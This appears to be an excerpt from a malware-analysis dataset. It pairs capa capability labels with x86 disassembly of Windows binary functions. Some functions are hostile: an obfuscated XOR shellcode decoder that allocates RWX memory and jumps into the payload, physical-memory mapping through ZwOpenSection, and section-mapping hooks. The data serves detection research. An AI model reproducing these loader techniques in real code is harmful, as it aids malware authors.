joyce8/EMBER2024-capa huggingface dataset:
Function at 0x401aca
Capabilities:
Allocate or change rwx memory
Execute shellcode via indirect call

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x7c
push ebx
push esi
xor ebx, ebx
push edi
mov byte [ebp - 1], bl
mov dword [ebp - 8], 0xffff
call fcn.00401a86
test eax, eax
je 0x401b1a
push dword [ebp - 8]
push 8
call dword [sym.imp.KERNEL32.DLL_GetProcessHeap]
push eax
call dword [sym.imp.KERNEL32.DLL_HeapAlloc]
mov edi, eax
cmp edi, ebx
je 0x401c90
push dword [ebp - 8]
push 0xf0000
push edi
call sub.MSVCRT.dll_memcpy
add esp, 0xc
jmp 0x401c26
push 0xb
mov esi, str.devicephysicalmemory
pop ecx
lea edi, [ebp - 0x7c]
rep movsd dword es:[edi], dword [esi]
movsw word es:[edi], word [esi]
xor eax, eax
lea edi, [ebp - 0x4e]
stosd dword es:[edi], eax
stosd dword es:[edi], eax
stosd dword es:[edi], eax
stosw word es:[edi], ax
lea eax, [ebp - 0x7c]
push str.ntdll.dll
mov dword [ebp - 0x1c], eax
lea eax, [ebp - 0x20]
mov dword [ebp - 0x28], 0xf0000
mov dword [ebp - 0x24], ebx
mov dword [ebp - 0xc], ebx
mov word [ebp - 0x20], 0x2c
mov word [ebp - 0x1e], 0x2e
mov dword [ebp - 0x34], 0x40
mov dword [ebp - 0x40], 0x18
mov dword [ebp - 0x38], eax
mov dword [ebp - 0x3c], ebx
mov dword [ebp - 0x30], ebx
mov dword [ebp - 0x2c], ebx
call dword [sym.imp.KERNEL32.DLL_LoadLibraryA]
mov esi, dword [sym.imp.KERNEL32.DLL_GetProcAddress]
mov edi, eax
push str.ZwOpenSection
push edi
call esi
push str.ZwMapViewOfSection
push edi
mov dword [ebp - 0x10], eax
call esi
push str.ZwUnmapViewOfSection
push edi
mov dword [ebp - 0x14], eax
call esi
cmp dword [ebp - 0x10], ebx
mov esi, eax
je 0x401c90
cmp dword [ebp - 0x14], ebx
je 0x401c90
cmp esi, ebx
je 0x401c90
lea eax, [ebp - 0x40]
push eax
lea eax, [ebp - 0x18]
push 4
push eax
call dword [ebp - 0x10]
test eax, eax
jne 0x401c90
push 2
push ebx
lea eax, [ebp - 8]
push 1
push eax
lea eax, [ebp - 0x28]
push eax
push 0xffff
lea eax, [ebp - 0xc]
push ebx
push eax
push 0xffffffffffffffff
push dword [ebp - 0x18]
call dword [ebp - 0x14]
test eax, eax
jne 0x401c90
push dword [ebp - 8]
push 8
call dword [sym.imp.KERNEL32.DLL_GetProcessHeap]
push eax
call dword [sym.imp.KERNEL32.DLL_HeapAlloc]
mov edi, eax
cmp edi, ebx
je 0x401c1f
push dword [ebp - 8]
push dword [ebp - 0xc]
push edi
call sub.MSVCRT.dll_memcpy
add esp, 0xc
push dword [ebp - 0xc]
push 0xffffffffffffffff
call esi
cmp edi, ebx
je 0x401c90
lea eax, [ebp - 0xc]
mov dword [ebp - 0xc], edi
push eax
call fcn.00401c98
cmp eax, ebx
pop ecx
jne 0x401c57
lea eax, [ebp - 0xc]
push eax
call fcn.00401d1e
cmp eax, ebx
pop ecx
jne 0x401c57
lea eax, [ebp - 0xc]
push eax
call fcn.00401da4
cmp eax, ebx
pop ecx
je 0x401c81
mov esi, dword [ebp + 0xc]
cmp eax, esi
jae 0x401c60
mov esi, eax
cmp esi, ebx
jbe 0x401c81
push esi
push dword [ebp - 0xc]
push dword [ebp + 8]
call dword [sym.imp.MSVCRT.dll_memmove]
mov eax, dword [ebp + 0x10]
add esp, 0xc
cmp eax, ebx
je 0x401c7d
mov dword [eax], esi
mov byte [ebp - 1], 1
push edi
push ebx
call dword [sym.imp.KERNEL32.DLL_GetProcessHeap]
push eax
call dword [sym.imp.KERNEL32.DLL_HeapFree]
mov al, byte [ebp - 1]
pop edi
pop esi
pop ebx
leave
ret
Function at 0x402361
Capabilities:
Initialize winsock library

Disassembly:
sub esp, 0x190
lea eax, [esp]
push esi
push edi
push eax
push 2
call sub.WS2_32.dll_WSAStartup
test eax, eax
jne 0x402438
mov eax, dword [0x40faf0]
xor edi, edi
cmp eax, edi
jne 0x4023a8
push str.inetmib1.dll
call dword [sym.imp.KERNEL32.DLL_LoadLibraryA]
cmp eax, 0x20
mov dword [0x40faf0], eax
jae 0x4023a8
mov dword [0x40faf0], edi
jmp 0x402438
cmp dword [0x40faf4], edi
mov esi, dword [sym.imp.KERNEL32.DLL_GetProcAddress]
jne 0x4023c7
push str.SnmpExtensionInit
push eax
call esi
cmp eax, edi
mov dword [0x40faf4], eax
je 0x402438
push 0x40fae8
push 0x40fae0
call dword [sym.imp.KERNEL32.DLL_GetTickCount]
push eax
call dword [0x40faf4]
cmp dword [0x40faf8], edi
jne 0x4023fc
push str.SnmpExtensionInitEx
push dword [0x40faf0]
call esi
cmp eax, edi
mov dword [0x40faf8], eax
je 0x402438
cmp dword [0x40fafc], edi
jne 0x40241a
push str.SnmpExtensionQuery
push dword [0x40faf0]
call esi
cmp eax, edi
mov dword [0x40fafc], eax
je 0x402438
cmp dword [0x40fb00], edi
jne 0x40243c
push str.SnmpExtensionTrap
push dword [0x40faf0]
call esi
cmp eax, edi
mov dword [0x40fb00], eax
jne 0x40243c
xor al, al
jmp 0x40243e
mov al, 1
pop edi
pop esi
add esp, 0x190
ret

Function at 0x4025dc
Capabilities:
Hash data with md5

Disassembly:
mov eax, dword [esp + 4]
and dword [eax + 4], 0
and dword [eax], 0
mov dword [eax + 8], 0x67452301
mov dword [eax + 0xc], 0xefcdab89
mov dword [eax + 0x10], 0x98badcfe
mov dword [eax + 0x14], 0x10325476
ret
Function at 0x4057dc
Capabilities:
Parse credit card information

Disassembly:
push ebp
mov ebp, esp
mov edx, dword [ebp + 0xc]
mov eax, dword [ebp + 8]
push esi
push edi
movzx ecx, byte [eax]
cmp ecx, 0x44
jg 0x405837
cmp ecx, 0x42
jge 0x405826
cmp ecx, 3
jl 0x40584f
cmp ecx, 4
jle 0x405841
cmp ecx, 0xf
je 0x405808
cmp ecx, 0x3c
jmp 0x40583f
cmp dword [ebp + 0x10], 0
jle 0x405822
movzx ecx, byte [eax + 1]
mov esi, dword [edx]
mov edi, ecx
and esi, dword [ebp + 0x10]
and edi, dword [ebp + 0x10]
cmp edi, esi
je 0x405822
mov dword [edx], ecx
inc eax
inc eax
jmp 0x4057e7
xor ecx, ecx
mov ch, byte [eax + 1]
mov cl, byte [eax + 2]
add eax, ecx
cmp byte [eax], 0x3d
je 0x405826
jmp 0x405841
cmp ecx, 0x48
je 0x405841
cmp ecx, 0x4b
jne 0x40584f
movzx ecx, byte [eax]
movzx ecx, byte [ecx + 0x40e6a0]
add eax, ecx
jmp 0x4057e7
pop edi
pop esi
pop ebp
ret

Function at 0x407bf3
Capabilities:
Create thread
Resume thread

Disassembly:
push ebp
mov ebp, esp
push ecx
push ecx
push esi
push edi
mov esi, ecx
xor edi, edi
cmp dword [esi + 0x78], edi
je 0x407c34
call fcn.0040856a
test eax, eax
je 0x407c3a
lea eax, [ebp - 8]
push eax
push 4
push esi
push 0x407faa
push edi
push edi
call dword [sym.imp.MSVCRT.dll__beginthreadex]
add esp, 0x18
cmp eax, edi
mov dword [esi + 0x94], eax
je 0x407c34
push eax
call dword [sym.imp.KERNEL32.DLL_ResumeThread]
xor eax, eax
pop edi
pop esi
leave
ret
mov eax, dword [esi + 0x9c]
cmp eax, edi
je 0x407c34
mov ecx, dword [eax]
lea edx, [ebp - 8]
push edx
push eax
call dword [ecx + 0x18]
mov eax, dword [esi + 0x9c]
lea edx, [ebp - 4]
push edx
push eax
mov ecx, dword [eax]
call dword [ecx + 0x1c]
mov edx, dword [ebp - 4]
push edi
neg edx
push edx
mov eax, dword [esi + 0x9c]
push dword [ebp - 8]
mov ecx, dword [eax]
push dword [ebp - 4]
push edi
push dword [esi + 0x54]
push dword [esi + 0x50]
push edi
push edi
push dword [esi + 0x7c]
push eax
call dword [ecx + 0x20]
test eax, eax
jne 0x407c34
push edi
push edi
push dword [esi + 0x20]
call dword [sym.imp.USER32.dll_InvalidateRect]
push 1
pop eax
jmp 0x407c36
Function at 0x407c97
Capabilities:
Extract resource via kernel32 functions

Disassembly:
push ebp
mov ebp, esp
push ecx
push esi
push edi
mov dword [ebp - 4], ecx
call sub.MFC42.DLL_AfxGetModuleState
push dword [ebp + 0xc]
mov eax, dword [eax + 0xc]
push dword [ebp + 8]
push eax
call dword [sym.imp.KERNEL32.DLL_FindResourceA]
mov esi, eax
test esi, esi
je 0x407d40
call sub.MFC42.DLL_AfxGetModuleState
mov eax, dword [eax + 0xc]
push esi
push eax
call dword [sym.imp.KERNEL32.DLL_LoadResource]
test eax, eax
mov dword [ebp + 0xc], eax
je 0x407d40
call sub.MFC42.DLL_AfxGetModuleState
mov eax, dword [eax + 0xc]
push esi
push eax
call dword [sym.imp.KERNEL32.DLL_SizeofResource]
mov edi, eax
push edi
push 0x22
call dword [sym.imp.KERNEL32.DLL_GlobalAlloc]
mov esi, eax
test esi, esi
je 0x407d40
push ebx
push esi
call dword [sym.imp.KERNEL32.DLL_GlobalLock]
push dword [ebp + 0xc]
mov ebx, eax
call dword [sym.imp.KERNEL32.DLL_LockResource]
test eax, eax
je 0x407d3c
test ebx, ebx
je 0x407d3c
push edi
push eax
push ebx
call sub.MSVCRT.dll_memcpy
add esp, 0xc
push esi
call dword [sym.imp.KERNEL32.DLL_GlobalUnlock]
mov ecx, dword [ebp - 4]
push edi
push esi
call fcn.0040779e
mov edi, eax
push esi
call dword [sym.imp.KERNEL32.DLL_GlobalFree]
mov eax, edi
pop ebx
jmp 0x407d42
xor edi, edi
jmp 0x407d30
xor eax, eax
pop edi
pop esi
leave
ret 8

Function at 0x409b5d
Capabilities:
Query or enumerate registry value

Disassembly:
sub esp, 0x48
and byte [esp + 8], 0
push ebx
push edi
push 0xf
pop ecx
xor eax, eax
lea edi, [esp + 0x11]
xor ebx, ebx
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
stosb byte es:[edi], al
lea eax, [esp + 8]
mov dword [esp + 8], 0x3f
push eax
lea eax, [esp + 0x14]
push eax
lea eax, [esp + 0x14]
push eax
push str.Version
push str.SoftwareSogouInput
push 0x80000002
mov dword [esp + 0x24], ebx
call dword [sym.imp.SHLWAPI.dll_SHGetValueA]
test eax, eax
jne 0x409c24
push ebp
mov edi, 0x40f504
push esi
mov esi, dword [sym.imp.MSVCRT.dll_strtok]
lea eax, [esp + 0x18]
push edi
push eax
call esi
mov ebp, dword [esp + 0x64]
pop ecx
cmp eax, ebx
mov ebx, dword [sym.imp.MSVCRT.dll_atoi]
pop ecx
je 0x409bdb
test ebp, ebp
je 0x409bdb
push eax
call ebx
pop ecx
mov dword [ebp], eax
push edi
push 0
call esi
pop ecx
test eax, eax
pop ecx
je 0x409bf1
test ebp, ebp
je 0x409bf1
push eax
call ebx
pop ecx
mov dword [ebp + 4], eax
push edi
push 0
call esi
pop ecx
test eax, eax
pop ecx
je 0x409c07
test ebp, ebp
je 0x409c07
push eax
call ebx
pop ecx
mov dword [ebp + 8], eax
push edi
push 0
call esi
pop ecx
test eax, eax
pop ecx
je 0x409c1d
test ebp, ebp
je 0x409c1d
push eax
call ebx
pop ecx
mov dword [ebp + 0xc], eax
push 1
pop eax
pop esi
pop ebp
jmp 0x409c39
mov eax, dword [esp + 0x54]
cmp eax, ebx
je 0x409c37
mov dword [eax], ebx
mov dword [eax + 4], ebx
mov dword [eax + 8], ebx
mov dword [eax + 0xc], ebx
xor eax, eax
pop edi
pop ebx
add esp, 0x48
ret
Function at 0x409cd7
Capabilities:
Compare security identifiers

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x814
lea eax, [ebp - 0xc]
push ebx
push eax
push 8
call dword [sym.imp.KERNEL32.DLL_GetCurrentProcess]
push eax
call dword [sym.imp.ADVAPI32.dll_OpenProcessToken]
test eax, eax
je 0x409d25
lea eax, [ebp - 0x14]
xor ebx, ebx
push eax
lea eax, [ebp - 0x814]
push 0x800
push eax
push 2
mov dword [ebp - 0x14], ebx
push dword [ebp - 0xc]
call dword [sym.imp.ADVAPI32.dll_GetTokenInformation]
push dword [ebp - 0xc]
test eax, eax
jne 0x409d2a
call dword [sym.imp.KERNEL32.DLL_CloseHandle]
xor eax, eax
pop ebx
leave
ret
call dword [sym.imp.KERNEL32.DLL_CloseHandle]
lea eax, [ebp - 0x10]
mov byte [ebp - 8], bl
push eax
push ebx
push ebx
push ebx
push ebx
push ebx
push ebx
push 0x220
push 0x20
lea eax, [ebp - 8]
push 2
push eax
mov byte [ebp - 7], bl
mov byte [ebp - 6], bl
mov byte [ebp - 5], bl
mov byte [ebp - 4], bl
mov byte [ebp - 3], 5
call dword [sym.imp.ADVAPI32.dll_AllocateAndInitializeSid]
test eax, eax
je 0x409d25
push esi
xor esi, esi
cmp dword [ebp - 0x814], ebx
push edi
jle 0x409d96
lea edi, [ebp - 0x810]
push dword [edi]
push dword [ebp - 0x10]
call dword [sym.imp.ADVAPI32.dll_EqualSid]
test eax, eax
jne 0x409d93
inc esi
add edi, 8
cmp esi, dword [ebp - 0x814]
jl 0x409d76
jmp 0x409d96
push 1
pop ebx
push dword [ebp - 0x10]
call dword [sym.imp.ADVAPI32.dll_FreeSid]
pop edi
mov eax, ebx
pop esi
jmp 0x409d27

Function at 0x409da5
Capabilities:
Create thread

Disassembly:
push ebp
mov ebp, esp
lea eax, [ebp + 8]
push eax
xor eax, eax
push eax
push dword [ebp + 8]
push 0x409dc4
push eax
push eax
call dword [sym.imp.MSVCRT.dll__beginthreadex]
add esp, 0x18
pop ebp
ret
Function at 0x40aad9
Capabilities:
Read file on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x88c
push ebx
xor ebx, ebx
push ebx
push 0x8000080
push 3
push ebx
push 1
push 0x80000000
push dword [ebp + 8]
call dword [sym.imp.KERNEL32.DLL_CreateFileA]
cmp eax, 0xffffffff
mov dword [ebp - 4], eax
jne 0x40ab0d
xor eax, eax
jmp 0x40ac46
push esi
mov edx, 0xff
push edi
mov ecx, edx
xor eax, eax
lea edi, [ebp - 0x88b]
mov byte [ebp - 0x88c], bl
mov byte [ebp - 0x48c], bl
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
stosb byte es:[edi], al
mov ecx, edx
xor eax, eax
lea edi, [ebp - 0x48b]
push 7
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
stosb byte es:[edi], al
pop ecx
xor eax, eax
lea edi, [ebp - 0x23]
mov byte [ebp - 0x24], bl
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
stosb byte es:[edi], al
lea eax, [ebp - 0x8c]
mov dword [ebp + 8], ebx
push eax
call fcn.004025dc
pop ecx
mov esi, dword [sym.imp.KERNEL32.DLL_ReadFile]
lea eax, [ebp + 8]
push ebx
push eax
mov edi, 0x400
lea eax, [ebp - 0x48c]
push edi
push eax
push dword [ebp - 4]
call esi
test eax, eax
je 0x40abaf
cmp dword [ebp + 8], ebx
je 0x40abaf
push dword [ebp + 8]
lea eax, [ebp - 0x48c]
push eax
lea eax, [ebp - 0x8c]
push eax
call fcn.00402604
add esp, 0xc
lea eax, [ebp + 8]
push ebx
push eax
lea eax, [ebp - 0x48c]
push edi
push eax
push dword [ebp - 4]
jmp 0x40ab79
lea eax, [ebp - 0x24]
push eax
lea eax, [ebp - 0x8c]
push eax
call fcn.00402696
pop ecx
pop ecx
push dword [ebp - 4]
call dword [sym.imp.KERNEL32.DLL_CloseHandle]
movzx eax, byte [ebp - 0x15]
push eax
movzx eax, byte [ebp - 0x16]
push eax
movzx eax, byte [ebp - 0x17]
push eax
movzx eax, byte [ebp - 0x18]
push eax
movzx eax, byte [ebp - 0x19]
push eax
movzx eax, byte [ebp - 0x1a]
push eax
movzx eax, byte [ebp - 0x1b]
push eax
movzx eax, byte [ebp - 0x1c]
push eax
movzx eax, byte [ebp - 0x1d]
push eax
movzx eax, byte [ebp - 0x1e]
push eax
movzx eax, byte [ebp - 0x1f]
push eax
movzx eax, byte [ebp - 0x20]
push eax
movzx eax, byte [ebp - 0x21]
push eax
movzx eax, byte [ebp - 0x22]
push eax
movzx eax, byte [ebp - 0x23]
push eax
movzx eax, byte [ebp - 0x24]
push eax
lea eax, [ebp - 0x88c]
push str._02x_02x_02x_02x_02x_02x_02x_02x_02x_02x_02x_02x_02x_02x_02x_02x
push eax
call dword [sym.imp.USER32.dll_wsprintfA]
add esp, 0x48
lea eax, [ebp - 0x88c]
push dword [ebp + 0xc]
push eax
call dword [sym.imp.KERNEL32.DLL_lstrcmpiA]
neg eax
sbb eax, eax
pop edi
inc eax
pop esi
pop ebx
leave
ret
Function at 0x1000b7d0
Capabilities:
Get graphical window text

Disassembly:
push ebp
mov ebp, esp
push dword [ebp + 8]
push dword [ebp + 0xc]
push 0xd
push dword [ecx + 0x38]
call dword [sym.imp.USER32.dll_SendMessageA]
pop ebp
ret 8

Function at 0x1000b8d0
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x2c
pushal
call 0x1000b8df
pop dword [ebp - 0x1c]
mov eax, 0x1000b8df
sub dword [ebp - 0x1c], eax
mov dword [ebp - 0x2c], 0xfddbff1d
add dword [ebp - 0x2c], 0x5076462e
mov dword [ebp - 0x28], 0xd2f9f432
add dword [ebp - 0x28], 0x5f395813
mov dword [ebp - 0x24], 0x257b0323
add dword [ebp - 0x24], 0x26d1410b
mov dword [ebp - 0x20], 0x1c9834ef
sub dword [ebp - 0x20], 0x1c9834ef
lea eax, [ebp - 0x2c]
push eax
mov eax, 0xb9901824
sub eax, 0xa98f2774
add eax, dword [ebp - 0x1c]
call dword [eax]
mov dword [ebp - 0x2c], 0xc9adab76
sub dword [ebp - 0x2c], 0x553b4220
mov dword [ebp - 0x28], 0xb8ccda4f
add dword [ebp - 0x28], 0x889f8726
mov dword [ebp - 0x24], 0xf7fce37d
sub dword [ebp - 0x24], 0x948d7711
mov dword [ebp - 0x20], 0x1fa037c3
add dword [ebp - 0x20], 0xe05fc83d
lea ebx, [ebp - 0x2c]
push ebx
push eax
mov eax, 0x85db4a7
add eax, 0x7a33c01
add eax, dword [ebp - 0x1c]
call dword [eax]
push 0x40
push 0x1000
push 0x3d618
push 0
call eax
mov ecx, 0x966c1eb1
sub ecx, 0x966bc46b
mov ebx, eax
mov esi, 0x10023600
add esi, dword [ebp - 0x1c]
mov edi, 0x6ad345b9
add edi, 0x56c3c76c
sub dword [ebp - 0x14], 0x16c6
mov edx, dword [esi]
add dword [ebp - 0x14], 0x15877ef9
xor edx, edi
mov dword [ebx], edx
add dword [ebp - 0x10], eax
add ebx, 0xc48feb6c
sub ebx, 0xc48feb68
add esi, 0x3b6ccefb
sub esi, 0x3b6ccef7
loop 0x1000b9f6
add eax, 0x15beb
mov ebx, eax
add eax, 5
mov ecx, 0x5b76c47
sub ecx, 0xf5b76c47
add ecx, dword [ebp - 0x1c]
call ebx
leave
ret
Function at 0x1c22fc0
Capabilities:
Encode data using xor
Encrypt data using aes via x86 extensions

Disassembly:
push ebp
push ebx
test eax, eax
je 0x1c234e0
test edx, edx
je 0x1c234e0
call fcn.01c22fd7
mov eax, 0xffffffff
pop ebx
pop ebp
ret

Function at 0x1c26cc0
Capabilities:
Encode data using xor

Disassembly:
push ebp
push ebx
push esi
push edi
call fcn.01c26cc9

Function at 0x1c329d0
Capabilities:
Allocate or change rwx memory
Execute shellcode via indirect call

Disassembly:
push ebp
mov ebp, esp
push ebx
push edi
push esi
sub esp, 0xc
mov eax, dword [0x1d15014]
xor eax, ebp
mov dword [ebp - 0x10], eax
push 0x1d0305c
call dword [sym.imp.KERNEL32.dll_GetModuleHandleW]
mov esi, eax
mov edi, dword [sym.imp.KERNEL32.dll_GetProcAddress]
push str.NtQuerySection
push eax
call edi
mov dword [0x1d31d3c], eax
push str.NtQueryVirtualMemory
push esi
call edi
mov dword [0x1d31d34], eax
push str.NtUnmapViewOfSection
push esi
call edi
mov dword [0x1d31d38], eax
cmp dword [0x1d31d3c], 0
mov edi, 0xd
je 0x1c32af2
cmp dword [0x1d31d34], 0
je 0x1c32af2
test eax, eax
je 0x1c32af2
push 0
call fcn.01c3f1b0
add esp, 4
test eax, eax
je 0x1c32b06
mov esi, eax
mov eax, dword [eax]
mov edi, dword [eax + 0x18]
mov ecx, edi
call dword [section..00cfg]
mov ecx, esi
call edi
lea ecx, [ebp - 0x14]
mov dword [ecx], 0
mov eax, 0x40
push ecx
push eax
push eax
push section..crthunk
call dword [sym.imp.KERNEL32.dll_VirtualProtect]
test eax, eax
je 0x1c32b0d
push 0x1d0305c
call dword [sym.imp.KERNEL32.dll_GetModuleHandleW]
mov dword [ebp - 0x18], eax
mov eax, dword [esi]
mov ebx, dword [eax + 4]
mov ecx, ebx
call dword [section..00cfg]
xor edi, edi
mov ecx, esi
push edi
push 0x40
push section..crthunk
push 0x1c32370
push edi
push str.NtMapViewOfSection
push 0x1c20000
push dword [ebp - 0x18]
call ebx
test eax, eax
js 0x1c32b14
lea eax, [ebp - 0x14]
push eax
push 0x20
push 0x40
push section..crthunk
call dword [sym.imp.KERNEL32.dll_VirtualProtect]
mov eax, dword [esi]
mov ebx, dword [eax]
mov ecx, ebx
call dword [section..00cfg]
mov ecx, esi
push 1
call ebx
mov ecx, dword [ebp - 0x10]
xor ecx, ebp
call fcn.01c93c03
mov eax, edi
add esp, 0xc
pop esi
pop edi
pop ebx
pop ebp
ret
mov edi, 0xe
jmp 0x1c32af2
mov edi, 0xf
jmp 0x1c32ae0
mov dword [0x1d31d40], eax
mov edi, 0x10
jmp 0x1c32ae0
Function at 0x1c35500
Capabilities:
Parse pe header

Disassembly:
push ebp
mov ebp, esp
push ebx
push edi
push esi
mov eax, dword [ecx + 0x10]
test eax, eax
jne 0x1c35550
mov edx, dword [ecx + 0xc]
test edx, edx
jne 0x1c3555e
mov edx, dword [ecx]
xor eax, eax
test edx, edx
je 0x1c35550
mov dword [ecx + 0xc], edx
mov esi, dword [ecx + 4]
cmp esi, 0x40
jb 0x1c35555
movzx edi, word [edx]
cmp edi, 0x5a4d
jne 0x1c35555
mov edi, dword [edx + 0x3c]
lea ebx, [edi + 0x18]
xor eax, eax
cmp ebx, esi
ja 0x1c35550
add edx, edi
cmp dword [edx], 0x4550
jne 0x1c35550
add edx, 4
mov dword [ecx + 0x10], edx
mov eax, edx
pop esi
pop edi
pop ebx
pop ebp
ret
mov dword [ecx + 0xc], 0
jmp 0x1c35550
mov esi, dword [ecx + 4]
jmp 0x1c35532

Function at 0x1c35570
Capabilities:
Parse pe header

Disassembly:
push ebp
mov ebp, esp
push ebx
push edi
push esi
sub esp, 8
mov eax, dword [ecx + 0x14]
test eax, eax
je 0x1c35588
add esp, 8
pop esi
pop edi
pop ebx
pop ebp
ret
mov edi, dword [ecx + 0xc]
mov esi, dword [ecx + 0x10]
test esi, esi
jne 0x1c355d8
test edi, edi
jne 0x1c3565b
mov edi, dword [ecx]
xor eax, eax
test edi, edi
je 0x1c35580
mov dword [ecx + 0xc], edi
mov ebx, dword [ecx + 4]
cmp ebx, 0x40
jb 0x1c35628
movzx edx, word [edi]
cmp edx, 0x5a4d
jne 0x1c35628
mov esi, dword [edi + 0x3c]
lea edx, [esi + 0x18]
xor eax, eax
cmp edx, ebx
ja 0x1c35580
add esi, edi
cmp dword [esi], 0x4550
jne 0x1c35580
add esi, 4
mov dword [ecx + 0x10], esi
jne 0x1c355db
jmp 0x1c35580
mov ebx, dword [ecx + 4]
mov dword [ebp - 0x14], esi
lea edx, [esi + 0x14]
mov esi, ebx
mov ebx, edx
sub ebx, edi
lea edi, [ebx + 2]
xor eax, eax
mov dword [ebp - 0x10], esi
cmp edi, esi
ja 0x1c35580
movzx edi, word [edx]
cmp edi, 0x10b
jne 0x1c35634
mov dword [ecx + 8], 1
add ebx, 0xe0
mov edi, dword [ebp - 0x10]
cmp ebx, edi
mov esi, dword [ebp - 0x14]
ja 0x1c35580
cmp edi, 0xffffffff
je 0x1c35653
mov dword [ecx + 0x14], edx
mov eax, edx
jmp 0x1c35580
mov dword [ecx + 0xc], 0
jmp 0x1c35580
cmp edi, 0x20b
jne 0x1c35663
mov dword [ecx + 8], 2
lea edi, [ebx + 0xf0]
cmp edi, dword [ebp - 0x10]
jbe 0x1c35605
jmp 0x1c35580
mov eax, dword [esi + 0x4c]
mov dword [ecx + 4], eax
jmp 0x1c3561e
mov ebx, dword [ecx + 4]
jmp 0x1c355b8
mov dword [ecx + 8], 0
jmp 0x1c35580
Function at 0x1c40520
Capabilities:
Get system information on windows

Disassembly:
push ebp
mov ebp, esp
push ebx
push edi
push esi
and esp, 0xfffffff0
sub esp, 0x50
mov ebx, edx
mov edi, ecx
mov ecx, dword [ebp + 8]
mov eax, dword [0x1d15014]
xor eax, ebp
mov dword [esp + 0x48], eax
movzx eax, byte [ecx + 0xb]
test al, al
jns 0x1c40549
mov eax, dword [ecx + 4]
test eax, eax
je 0x1c406b6
mov eax, ebx
not eax
test eax, 0x300
je 0x1c406b6
cmp edi, 2
mov eax, 0x1d32bce
mov ecx, 0x1d32dce
cmove ecx, eax
cmp word [ecx], 0
jne 0x1c406b6
xorps xmm0, xmm0
lea esi, [esp + 0x20]
movaps xmmword [esi + 0x10], xmm0
movaps xmmword [esi], xmm0
mov dword [esi + 0x20], 0
push esi
call dword [sym.imp.KERNEL32.dll_GetNativeSystemInfo]
cmp word [esi], 0
je 0x1c406b6
cmp byte [0x1d32bcc], 0
setne al
bt ebx, 8
jb 0x1c406b6
shr ebx, 9
and ebx, 1
or bl, al
je 0x1c406b6
cmp edi, 2
mov eax, 0x1d061cc
mov edx, 0x1d061e0
cmove edx, eax
mov eax, dword [ebp + 8]
movzx ecx, byte [eax + 0xb]
test cl, cl
jns 0x1c406c9
mov ecx, dword [eax]
mov dword [esp + 4], ecx
mov eax, dword [eax + 4]
xor ecx, ecx
inc ecx
mov dword [esp + 0x18], ecx
xor esi, esi
mov dword [esp + 0xc], 0
mov dword [esp + 8], 0
mov dword [esp + 0x10], 0
mov edi, dword [edx + 4]
mov ebx, eax
sub ebx, edi
jb 0x1c40637
push edi
push dword [edx]
push dword [esp + 0xc]
mov dword [esp + 0x28], edx
mov dword [esp + 0x20], eax
call fcn.01ca99e3
mov edx, dword [esp + 0x28]
add esp, 0xc
test eax, eax
mov eax, dword [esp + 0x14]
je 0x1c40643
add edx, 0x14
inc esi
cmp esi, dword [esp + 0x18]
jb 0x1c4060b
jmp 0x1c406af
mov eax, dword [esp + 4]
movzx ecx, word [eax + edi*2]
mov eax, dword [esp + 0x14]
cmp ecx, 0x5c
jne 0x1c406f9
mov eax, dword [esp + 4]
lea eax, [eax + edi*2]
mov esi, dword [edx + 8]
cmp esi, 2
jne 0x1c40675
mov dword [esp + 0xc], str.WOW6432Node
mov dword [esp + 8], eax
jmp 0x1c4067e
cmp esi, 1
je 0x1c40706
cmp cx, 0x5c
mov dword [esp + 0x10], esi
jne 0x1c4069b
lea ecx, [eax + 2]
dec ebx
cmp word [eax + 2], 0x5c
mov dword [esp + 4], ecx
mov eax, ecx
je 0x1c40688
jmp 0x1c4069f
mov dword [esp + 4], eax
mov eax, dword [edx + 0x10]
mov dword [esp + 0x18], eax
mov edx, dword [edx + 0xc]
xor esi, esi
mov eax, ebx
jmp 0x1c4063b
cmp dword [esp + 0x10], 0
jne 0x1c406d4
mov ecx, dword [esp + 0x48]
xor ecx, ebp
call fcn.01c93c03
lea esp, [ebp - 0xc]
pop esi
pop edi
pop ebx
pop ebp
ret
mov dword [esp + 4], eax
mov eax, ecx
jmp 0x1c405ea
mov eax, dword [ebp + 8]
cmp byte [eax + 0xb], 0
jns 0x1c406e2
mov eax, dword [ebp + 8]
mov eax, dword [eax]
mov edx, dword [esp + 8]
sub edx, eax
sar edx, 1
mov ecx, dword [ebp + 8]
push dword [esp + 0xc]
push edx
call fcn.01cd4c40
jmp 0x1c406b6
test ecx, ecx
jne 0x1c40637
jmp 0x1c40658
mov dword [esp + 0xc], str.WOW6432Node_
mov edi, dword [esp + 4]
mov dword [esp + 8], edi
jmp 0x1c4067e